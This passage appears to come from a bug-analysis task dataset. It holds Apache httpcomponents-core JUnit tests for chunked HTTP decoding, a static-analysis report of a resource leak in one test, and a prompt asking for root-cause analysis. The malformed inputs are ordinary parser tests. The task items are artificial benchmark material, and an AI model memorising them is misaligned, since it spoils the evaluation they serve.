+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = decoder.read(dst);
+        Assert.assertEquals(16, bytesRead);
+        Assert.assertEquals("0123456789abcdef", convert(dst));
+        Header[] footers = decoder.getFooters();
+        Assert.assertEquals(0, footers.length);
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testComplexDecoding() throws Exception {
+        String s = "10;key=\"value\"\r\n1234567890123456\r\n" +
+                "5\r\n12345\r\n5\r\n12345\r\n0\r\nFooter1: abcde\r\nFooter2: fghij\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = 0;
+        while (dst.hasRemaining() && !decoder.isCompleted()) {
+            int i = decoder.read(dst);
+            if (i > 0) {
+                bytesRead += i;
+            }
+        }
+
+        Assert.assertEquals(26, bytesRead);
+        Assert.assertEquals("12345678901234561234512345", convert(dst));
+
+        Header[] footers = decoder.getFooters();
+        Assert.assertEquals(2, footers.length);
+        Assert.assertEquals("Footer1", footers[0].getName());
+        Assert.assertEquals("abcde", footers[0].getValue());
+        Assert.assertEquals("Footer2", footers[1].getName());
+        Assert.assertEquals("fghij", footers[1].getValue());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testDecodingWithSmallBuffer() throws Exception {
+        String s1 = "5\r\n01234\r\n5\r\n5678";
+        String s2 = "9\r\n6\r\nabcdef\r\n0\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s1, s2}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+        ByteBuffer tmp = ByteBuffer.allocate(4);
+
+        int bytesRead = 0;
+        while (dst.hasRemaining() && !decoder.isCompleted()) {
+            int i = decoder.read(tmp);
+            if (i > 0) {
+                bytesRead += i;
+            }
+            tmp.flip();
+            dst.put(tmp);
+            tmp.compact();
+        }
+
+        Assert.assertEquals(16, bytesRead);
+        Assert.assertEquals("0123456789abcdef", convert(dst));
+        Assert.assertTrue(decoder.isCompleted());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testIncompleteChunkDecoding() throws Exception {
+        String[] chunks = {
+                "10;",
+                "key=\"value\"\r",
+                "\n123456789012345",
+                "6\r\n5\r\n12",
+                "345\r\n6\r",
+                "\nabcdef\r",
+                "\n0\r\nFoot",
+                "er1: abcde\r\nFooter2: f",
+                "ghij\r\n\r\n"
+        };
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                chunks, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        int bytesRead = 0;
+        while (dst.hasRemaining() && !decoder.isCompleted()) {
+            int i = decoder.read(dst);
+            if (i > 0) {
+                bytesRead += i;
+            }
+        }
+
+        Assert.assertEquals(27, bytesRead);
+        Assert.assertEquals("123456789012345612345abcdef", convert(dst));
+        Assert.assertTrue(decoder.isCompleted());
+
+        Header[] footers = decoder.getFooters();
+        Assert.assertEquals(2, footers.length);
+        Assert.assertEquals("Footer1", footers[0].getName());
+        Assert.assertEquals("abcde", footers[0].getValue());
+        Assert.assertEquals("Footer2", footers[1].getName());
+        Assert.assertEquals("fghij", footers[1].getValue());
+
+        dst.clear();
+        bytesRead = decoder.read(dst);
+        Assert.assertEquals(-1, bytesRead);
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testMalformedChunkSizeDecoding() throws Exception {
+        String s = "5\r\n01234\r\n5zz\r\n56789\r\n6\r\nabcdef\r\n0\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        try {
+            decoder.read(dst);
+            Assert.fail("MalformedChunkCodingException should have been thrown");
+        } catch (MalformedChunkCodingException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testMalformedChunkEndingDecoding() throws Exception {
+        String s = "5\r\n01234\r\n5\r\n56789\n\r6\r\nabcdef\r\n0\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        try {
+            decoder.read(dst);
+            Assert.fail("MalformedChunkCodingException should have been thrown");
+        } catch (MalformedChunkCodingException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testMalformedChunkTruncatedChunk() throws Exception {
+        String s = "3\r\n12";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+        Assert.assertEquals(2, decoder.read(dst));
+        try {
+            decoder.read(dst);
+            Assert.fail("MalformedChunkCodingException should have been thrown");
+        } catch (MalformedChunkCodingException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testFoldedFooters() throws Exception {
+        String s = "10;key=\"value\"\r\n1234567890123456\r\n" +
+                "5\r\n12345\r\n5\r\n12345\r\n0\r\nFooter1: abcde\r\n   \r\n  fghij\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = decoder.read(dst);
+        Assert.assertEquals(26, bytesRead);
+        Assert.assertEquals("12345678901234561234512345", convert(dst));
+
+        Header[] footers = decoder.getFooters();
+        Assert.assertEquals(1, footers.length);
+        Assert.assertEquals("Footer1", footers[0].getName());
+        Assert.assertEquals("abcde  fghij", footers[0].getValue());
+    }
+
+    @Test
+    public void testMalformedFooters() throws Exception {
+        String s = "10;key=\"value\"\r\n1234567890123456\r\n" +
+                "5\r\n12345\r\n5\r\n12345\r\n0\r\nFooter1 abcde\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        try {
+            decoder.read(dst);
+            Assert.fail("MalformedChunkCodingException should have been thrown");
+        } catch (IOException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testEndOfStreamConditionReadingLastChunk() throws Exception {
+        String s = "10\r\n1234567890123456\r\n" +
+                "5\r\n12345\r\n5\r\n12345";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = 0;
+        while (dst.hasRemaining() && !decoder.isCompleted()) {
+            int i = decoder.read(dst);
+            if (i > 0) {
+                bytesRead += i;
+            }
+        }
+
+        Assert.assertEquals(26, bytesRead);
+        Assert.assertEquals("12345678901234561234512345", convert(dst));
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testReadingWitSmallBuffer() throws Exception {
+        String s = "10\r\n1234567890123456\r\n" +
+                "40\r\n12345678901234561234567890123456" +
+                "12345678901234561234567890123456\r\n0\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+        ByteBuffer tmp = ByteBuffer.allocate(10);
+
+        int bytesRead = 0;
+        while (dst.hasRemaining() && !decoder.isCompleted()) {
+            int i = decoder.read(tmp);
+            if (i > 0) {
+                bytesRead += i;
+                tmp.flip();
+                dst.put(tmp);
+                tmp.compact();
+            }
+        }
+
+        Assert.assertEquals(80, bytesRead);
+        Assert.assertEquals("12345678901234561234567890123456" +
+                "12345678901234561234567890123456" +
+                "1234567890123456", convert(dst));
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testEndOfStreamConditionReadingFooters() throws Exception {
+        String s = "10\r\n1234567890123456\r\n" +
+                "5\r\n12345\r\n5\r\n12345\r\n0\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        ByteBuffer dst = ByteBuffer.allocate(1024);
+
+        int bytesRead = 0;
+        while (dst.hasRemaining() && !decoder.isCompleted()) {
+            int i = decoder.read(dst);
+            if (i > 0) {
+                bytesRead += i;
+            }
+        }
+
+        Assert.assertEquals(26, bytesRead);
+        Assert.assertEquals("12345678901234561234512345", convert(dst));
+        Assert.assertTrue(decoder.isCompleted());
+    }
+
+    @Test
+    public void testInvalidConstructor() {
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {"stuff;", "more stuff"}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        try {
+            new ChunkDecoder(null, null, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (IllegalArgumentException ex) {
+            // ignore
+        }
+        try {
+            new ChunkDecoder(channel, null, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (IllegalArgumentException ex) {
+            // ignore
+        }
+        try {
+            new ChunkDecoder(channel, inbuf, null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (IllegalArgumentException ex) {
+            // ignore
+        }
+    }
+
+    @Test
+    public void testInvalidInput() throws Exception {
+        String s = "10;key=\"value\"\r\n1234567890123456\r\n" +
+                "5\r\n12345\r\n5\r\n12345\r\n0\r\nFooter1 abcde\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
+        ChunkDecoder decoder = new ChunkDecoder(channel, inbuf, metrics);
+
+        try {
+            decoder.read(null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (IllegalArgumentException ex) {
+            // expected
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.http.ReadableByteChannelMockup` acquired by call to `new()` at line 297 is not released after line 308.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestChunkDecoder.testMalformedFooters()
+
+### Procedure Id:
+org.apache.http.impl.nio.codecs.TestChunkDecoder.testMalformedFooters():void.13eb003feaeac9ad6ea53fe286fdf87b
+
+### File:
+httpcore-nio/src/test/java/org/apache/http/impl/nio/codecs/TestChunkDecoder.java
+
+### Key:
+TestChunkDecoder.java|testMalformedFooters|RESOURCE_LEAK
+
+### Node Key:
+eee614928f468986c30f515d3a8446ce
+
+### Hash:
+6bf52bc70360e77bb7ae5ff5d74ac948
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4247/instruction.md b/inferredbugs-4247/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..644a585fcacde91835874fcb66bf326cb8c61e2b
--- /dev/null
+++ b/inferredbugs-4247/instruction.md
@@ -0,0 +1,569 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** httpcomponents-core
+**Bug ID:** 121
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ====================================================================
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ * ====================================================================
+ *
+ * This software consists of voluntary contributions made by many
+ * individuals on behalf of the Apache Software Foundation.  For more
+ * information on the Apache Software Foundation, please see
+ * <http://www.apache.org/>.
+ *
+ */
+
+package org.apache.http.impl.io;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InterruptedIOException;
+import java.io.OutputStream;
+
+import org.apache.http.ConnectionClosedException;
+import org.apache.http.Consts;
+import org.apache.http.Header;
+import org.apache.http.MalformedChunkCodingException;
+import org.apache.http.MessageConstraintException;
+import org.apache.http.TruncatedChunkException;
+import org.apache.http.config.MessageConstraints;
+import org.apache.http.impl.SessionInputBufferMock;
+import org.apache.http.impl.SessionOutputBufferMock;
+import org.apache.http.io.SessionInputBuffer;
+import org.junit.Assert;
+import org.junit.Test;
+
+public class TestChunkCoding {
+
+    @Test
+    public void testConstructors() throws Exception {
+        try {
+            new ChunkedInputStream((SessionInputBuffer)null);
+            Assert.fail("IllegalArgumentException should have been thrown");
+        } catch (final IllegalArgumentException ex) {
+            // expected
+        }
+        new MalformedChunkCodingException();
+        new MalformedChunkCodingException("");
+    }
+
+    private final static String CHUNKED_INPUT
+        = "10;key=\"value\"\r\n1234567890123456\r\n5\r\n12345\r\n0\r\nFooter1: abcde\r\nFooter2: fghij\r\n";
+
+    private final static String CHUNKED_RESULT
+        = "123456789012345612345";
+
+    // Test for when buffer is larger than chunk size
+    @Test
+    public void testChunkedInputStreamLargeBuffer() throws IOException {
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(CHUNKED_INPUT, Consts.ISO_8859_1));
+        final byte[] buffer = new byte[300];
+        final ByteArrayOutputStream out = new ByteArrayOutputStream();
+        int len;
+        while ((len = in.read(buffer)) > 0) {
+            out.write(buffer, 0, len);
+        }
+        Assert.assertEquals(-1, in.read(buffer));
+        Assert.assertEquals(-1, in.read(buffer));
+
+        in.close();
+
+        final String result = new String(out.toByteArray(), Consts.ISO_8859_1);
+        Assert.assertEquals(result, CHUNKED_RESULT);
+
+        final Header[] footers = in.getFooters();
+        Assert.assertNotNull(footers);
+        Assert.assertEquals(2, footers.length);
+        Assert.assertEquals("Footer1", footers[0].getName());
+        Assert.assertEquals("abcde", footers[0].getValue());
+        Assert.assertEquals("Footer2", footers[1].getName());
+        Assert.assertEquals("fghij", footers[1].getValue());
+    }
+
+    //Test for when buffer is smaller than chunk size.
+    @Test
+    public void testChunkedInputStreamSmallBuffer() throws IOException {
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(CHUNKED_INPUT, Consts.ISO_8859_1));
+
+        final byte[] buffer = new byte[7];
+        final ByteArrayOutputStream out = new ByteArrayOutputStream();
+        int len;
+        while ((len = in.read(buffer)) > 0) {
+            out.write(buffer, 0, len);
+        }
+        Assert.assertEquals(-1, in.read(buffer));
+        Assert.assertEquals(-1, in.read(buffer));
+
+        in.close();
+
+        final Header[] footers = in.getFooters();
+        Assert.assertNotNull(footers);
+        Assert.assertEquals(2, footers.length);
+        Assert.assertEquals("Footer1", footers[0].getName());
+        Assert.assertEquals("abcde", footers[0].getValue());
+        Assert.assertEquals("Footer2", footers[1].getName());
+        Assert.assertEquals("fghij", footers[1].getValue());
+    }
+
+    // One byte read
+    @Test
+    public void testChunkedInputStreamOneByteRead() throws IOException {
+        final String s = "5\r\n01234\r\n5\r\n56789\r\n0\r\n";
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        int ch;
+        int i = '0';
+        while ((ch = in.read()) != -1) {
+            Assert.assertEquals(i, ch);
+            i++;
+        }
+        Assert.assertEquals(-1, in.read());
+        Assert.assertEquals(-1, in.read());
+
+        in.close();
+    }
+
+    @Test
+    public void testAvailable() throws IOException {
+        final String s = "5\r\n12345\r\n0\r\n";
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        Assert.assertEquals(0, in.available());
+        in.read();
+        Assert.assertEquals(4, in.available());
+        in.close();
+    }
+
+    @Test
+    public void testChunkedInputStreamClose() throws IOException {
+        final String s = "5\r\n01234\r\n5\r\n56789\r\n0\r\n";
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        in.close();
+        in.close();
+        try {
+            in.read();
+            Assert.fail("IOException should have been thrown");
+        } catch (final IOException ex) {
+            // expected
+        }
+        final byte[] tmp = new byte[10];
+        try {
+            in.read(tmp);
+            Assert.fail("IOException should have been thrown");
+        } catch (final IOException ex) {
+            // expected
+        }
+        try {
+            in.read(tmp, 0, tmp.length);
+            Assert.fail("IOException should have been thrown");
+        } catch (final IOException ex) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testChunkedOutputStreamClose() throws IOException {
+        final ChunkedOutputStream out = new ChunkedOutputStream(
+                2048, new SessionOutputBufferMock());
+        out.close();
+        out.close();
+        try {
+            out.write(new byte[] {1,2,3});
+            Assert.fail("IOException should have been thrown");
+        } catch (final IOException ex) {
+            // expected
+        }
+        try {
+            out.write(1);
+            Assert.fail("IOException should have been thrown");
+        } catch (final IOException ex) {
+            // expected
+        }
+    }
+
+    // Missing closing chunk
+    @Test(expected=ConnectionClosedException.class)
+    public void testChunkedInputStreamNoClosingChunk() throws IOException {
+        final String s = "5\r\n01234\r\n";
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        final byte[] tmp = new byte[5];
+        Assert.assertEquals(5, in.read(tmp));
+        in.read();
+    }
+
+    // Truncated stream (missing closing CRLF)
+    @Test(expected=MalformedChunkCodingException.class)
+    public void testCorruptChunkedInputStreamTruncatedCRLF() throws IOException {
+        final String s = "5\r\n01234";
+        final ChunkedInputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        final byte[] tmp = new byte[5];
+        Assert.assertEquals(5, in.read(tmp));
+        in.read();
+    }
+
+    // Missing \r\n at the end of the first chunk
+    @Test(expected=MalformedChunkCodingException.class)
+    public void testCorruptChunkedInputStreamMissingCRLF() throws IOException {
+        final String s = "5\r\n012345\r\n56789\r\n0\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        final byte[] buffer = new byte[300];
+        final ByteArrayOutputStream out = new ByteArrayOutputStream();
+        int len;
+        while ((len = in.read(buffer)) > 0) {
+            out.write(buffer, 0, len);
+        }
+    }
+
+    // Missing LF
+    @Test(expected=MalformedChunkCodingException.class)
+    public void testCorruptChunkedInputStreamMissingLF() throws IOException {
+        final String s = "5\r01234\r\n5\r\n56789\r\n0\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        in.read();
+    }
+
+    // Invalid chunk size
+    @Test(expected = MalformedChunkCodingException.class)
+    public void testCorruptChunkedInputStreamInvalidSize() throws IOException {
+        final String s = "whatever\r\n01234\r\n5\r\n56789\r\n0\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        in.read();
+    }
+
+    // Negative chunk size
+    @Test(expected = MalformedChunkCodingException.class)
+    public void testCorruptChunkedInputStreamNegativeSize() throws IOException {
+        final String s = "-5\r\n01234\r\n5\r\n56789\r\n0\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        in.read();
+    }
+
+    // Truncated chunk
+    @Test(expected = TruncatedChunkException.class)
+    public void testCorruptChunkedInputStreamTruncatedChunk() throws IOException {
+        final String s = "3\r\n12";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        final byte[] buffer = new byte[300];
+        Assert.assertEquals(2, in.read(buffer));
+        in.read(buffer);
+    }
+
+    // Invalid footer
+    @Test(expected = MalformedChunkCodingException.class)
+    public void testCorruptChunkedInputStreamInvalidFooter() throws IOException {
+        final String s = "1\r\n0\r\n0\r\nstuff\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        in.read();
+        in.read();
+    }
+
+    @Test
+    public void testCorruptChunkedInputStreamClose() throws IOException {
+        final String s = "whatever\r\n01234\r\n5\r\n56789\r\n0\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(s, Consts.ISO_8859_1));
+        try {
+            in.read();
+            Assert.fail("MalformedChunkCodingException expected");
+        } catch (MalformedChunkCodingException ex) {
+        }
+        in.close();
+    }
+
+    @Test
+    public void testEmptyChunkedInputStream() throws IOException {
+        final String input = "0\r\n";
+        final InputStream in = new ChunkedInputStream(
+                new SessionInputBufferMock(input, Consts.ISO_8859_1));
+        final byte[] buffer = new byte[300];
+        final ByteArrayOutputStream out = new ByteArrayOutputStream();
+        int len;
+        while ((len = in.read(buffer)) > 0) {
+            out.write(buffer, 0, len);
+        }
+        Assert.assertEquals(0, out.size());
+    }
+
+    @Test
+    public void testTooLongChunkHeader() throws IOException {
+        final String input = "5; and some very looooong commend\r\n12345\r\n0\r\n";
+        final InputStream in1 = new ChunkedInputStream(
+                new SessionInputBufferMock(input, MessageConstraints.DEFAULT, Consts.ISO_8859_1));
+        final byte[] buffer = new byte[300];
+        Assert.assertEquals(5, in1.read(buffer));
+
+        final InputStream in2 = new ChunkedInputStream(
+                new SessionInputBufferMock(input, MessageConstraints.lineLen(10), Consts.ISO_8859_1));
+        try {
+            in2.read(buffer);
+            Assert.fail("MessageConstraintException expected");
+        } catch (MessageConstraintException ex) {
+        }
+    }
+
+    @Test
+    public void testChunkedConsistence() throws IOException {
+        final String input = "76126;27823abcd;:q38a-\nkjc\rk%1ad\tkh/asdui\r\njkh+?\\suweb";
+        final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        final OutputStream out = new ChunkedOutputStream(2048, new SessionOutputBufferMock(buffer));
+        out.write(input.getBytes(Consts.ISO_8859_1));
+        out.flush();
+        out.close();
+        out.close();
+        buffer.close();
+        final InputStream in = new ChunkedInputStream(new SessionInputBufferMock(buffer.toByteArray()));
+
+        final byte[] d = new byte[10];
+        final ByteArrayOutputStream result = new ByteArrayOutputStream();
+        int len = 0;
+        while ((len = in.read(d)) > 0) {
+            result.write(d, 0, len);
+        }
+
+        final String output = new String(result.toByteArray(), Consts.ISO_8859_1);
+        Assert.assertEquals(input, output);
+        in.close();
+}
+
+    @Test
+    public void testChunkedOutputStream() throws IOException {
+        final SessionOutputBufferMock buffer = new SessionOutputBufferMock();
+        final ChunkedOutputStream out = new ChunkedOutputStream(2, buffer);
+        out.write('1');
+        out.write('2');
+        out.write('3');
+        out.write('4');
+        out.finish();
+        out.close();
+
+        final byte [] rawdata =  buffer.getData();
+
+        Assert.assertEquals(19, rawdata.length);
+        Assert.assertEquals('2', rawdata[0]);
+        Assert.assertEquals('\r', rawdata[1]);
+        Assert.assertEquals('\n', rawdata[2]);
+        Assert.assertEquals('1', rawdata[3]);
+        Assert.assertEquals('2', rawdata[4]);
+        Assert.assertEquals('\r', rawdata[5]);
+        Assert.assertEquals('\n', rawdata[6]);
+        Assert.assertEquals('2', rawdata[7]);
+        Assert.assertEquals('\r', rawdata[8]);
+        Assert.assertEquals('\n', rawdata[9]);
+        Assert.assertEquals('3', rawdata[10]);
+        Assert.assertEquals('4', rawdata[11]);
+        Assert.assertEquals('\r', rawdata[12]);
+        Assert.assertEquals('\n', rawdata[13]);
+        Assert.assertEquals('0', rawdata[14]);
+        Assert.assertEquals('\r', rawdata[15]);
+        Assert.assertEquals('\n', rawdata[16]);
+        Assert.assertEquals('\r', rawdata[17]);
+        Assert.assertEquals('\n', rawdata[18]);
+    }
+
+    @Test
+    public void testChunkedOutputStreamLargeChunk() throws IOException {
+        final SessionOutputBufferMock buffer = new SessionOutputBufferMock();
+        final ChunkedOutputStream out = new ChunkedOutputStream(2, buffer);
+        out.write(new byte[] {'1', '2', '3', '4'});
+        out.finish();
+        out.close();
+
+        final byte [] rawdata =  buffer.getData();
+
+        Assert.assertEquals(14, rawdata.length);
+        Assert.assertEquals('4', rawdata[0]);
+        Assert.assertEquals('\r', rawdata[1]);
+        Assert.assertEquals('\n', rawdata[2]);
+        Assert.assertEquals('1', rawdata[3]);
+        Assert.assertEquals('2', rawdata[4]);
+        Assert.assertEquals('3', rawdata[5]);
+        Assert.assertEquals('4', rawdata[6]);
+        Assert.assertEquals('\r', rawdata[7]);
+        Assert.assertEquals('\n', rawdata[8]);
+        Assert.assertEquals('0', rawdata[9]);
+        Assert.assertEquals('\r', rawdata[10]);
+        Assert.assertEquals('\n', rawdata[11]);
+        Assert.assertEquals('\r', rawdata[12]);
+        Assert.assertEquals('\n', rawdata[13]);
+    }
+
+    @Test
+    public void testChunkedOutputStreamSmallChunk() throws IOException {
+        final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+        final ChunkedOutputStream out = new ChunkedOutputStream(2, new SessionOutputBufferMock(buffer));
+        out.write('1');
+        out.finish();
+        out.close();
+
+        final byte [] rawdata =  buffer.toByteArray();
+
+        Assert.assertEquals(11, rawdata.length);
+        Assert.assertEquals('1', rawdata[0]);
+        Assert.assertEquals('\r', rawdata[1]);
+        Assert.assertEquals('\n', rawdata[2]);
+        Assert.assertEquals('1', rawdata[3]);
+        Assert.assertEquals('\r', rawdata[4]);
+        Assert.assertEquals('\n', rawdata[5]);
+        Assert.assertEquals('0', rawdata[6]);
+        Assert.assertEquals('\r', rawdata[7]);
+        Assert.assertEquals('\n', rawdata[8]);
+        Assert.assertEquals('\r', rawdata[9]);
+        Assert.assertEquals('\n', rawdata[10]);
+    }
+
+    @Test
+    public void testResumeOnSocketTimeoutInData() throws IOException {
+        final String s = "5\r\n01234\r\n5\r\n5\0006789\r\na\r\n0123\000456789\r\n0\r\n";
+        final SessionInputBuffer sessbuf = new SessionInputBufferMock(
